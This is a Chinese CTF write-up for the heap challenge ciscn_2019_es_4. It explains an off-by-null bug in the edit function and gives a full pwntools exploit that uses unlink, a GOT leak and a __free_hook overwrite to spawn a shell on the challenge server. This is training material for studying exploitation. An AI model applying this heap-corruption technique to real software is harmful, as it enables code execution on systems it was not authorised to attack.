ciscn_2019_es_4

offbynull+unlink

程序分析

1
2
3
4
1.malloc
2.free
3.edit
4.show

malloc时限制了index为0~32,size为128~256,并且会给出每个堆的堆地址(没有用到感觉可能思路出错了),heap数组记录每个堆的堆地址。edit正常情况下最多可以用两次,key1变量记录edit次数,show正常情况下不能使用,key2变量初始为0,改成1就可以使用了。

heap,key1,key2都在bss段上。

漏洞点在edit里:

1
2
3
4
5
6
7
8
9
10
11
v3 = __readfsqword(0x28u);
if ( key1 == 2 )
exit(0);
puts("index:");
v2 = read_int("index:");
if ( v2 < 0 || v2 > 32 || !heap[v2] )
exit(0);
puts("content:");
v0 = heap[v2];
v0[read(0, (void *)heap[v2], (signed int)len[v2])] = 0;
++key1;

这里产生了offbynull。

利用思路

构造unlink,使得heap[32]=&heap[29],然后使用edit,修改heap[32]=puts.got,同时修改key1和key2,让我们可以使用show并且解除edit的次数限制,之后show leak出libc版本,改写free_hook为system,free一个内容为/bin/sh的chunk获取shell。

我的exp中主要利用heap[31]和heap[32],unlink成功后第一次edit时,也顺便修改heap[31]=&heap[31],这样获取free_hook地址后,再利用edit让heap[31]=free_hook,最后再次edit,修改free_hook为system。

EXP

1
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
#sh=process("./ciscn_2019_es_4.dms")
elf=ELF("./ciscn_2019_es_4.dms")
context.arch='amd64'
sh=remote("f.buuoj.cn",20176)
heap=0x6020E0
key2=0x6022B8 #show
key1=0x6022BC #edit
def malloc(index,size,content):
	sh.sendlineafter("4.show\n","1")
	sh.sendlineafter("index:\n",str(index))
	sh.sendlineafter("size:\n",str(int(size)))
	sh.sendafter("content:\n",content)
def free(index):
	sh.sendlineafter("4.show\n","2")
	sh.sendlineafter("index:\n",str(index))
def edit(index,content):
	sh.sendlineafter("4.show\n","3")
	sh.sendlineafter("index:\n",str(index))
	sh.sendafter("content:\n",content)
def show(index):
	sh.sendlineafter("4.show\n","4")
	sh.sendlineafter("index:\n",str(index))
malloc(32,0xf8,'32')
malloc(1,0xf0,'1')
malloc(2,0x80,'/bin/sh\x00')
malloc(31,0x80,'31')
edit(32,p64(0)+p64(0xf1)+p64(heap+32*8-0x18)+p64(heap+32*8-0x10)+p64(0)*26+p64(0xf0))
free(1)
edit(32,p64(0)*2+p64(0x6020E0+32*8-8)+p64(elf.got['puts'])+p64(0)*26+p32(1)+p32(0xffffffee))
show(32)
puts=u64(sh.recv(6).ljust(8,'\x00'))
log.success("puts: "+hex(puts))
libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump('puts')
free_hook=libcbase+libc.dump('__free_hook')
system=libcbase+libc.dump('system')
edit(31,p64(free_hook))
edit(31,p64(system))
free(2)
#gdb.attach(sh)
sh.interactive()
文章目录
  1. 1. 程序分析
  2. 2. 利用思路
  3. 3. EXP
|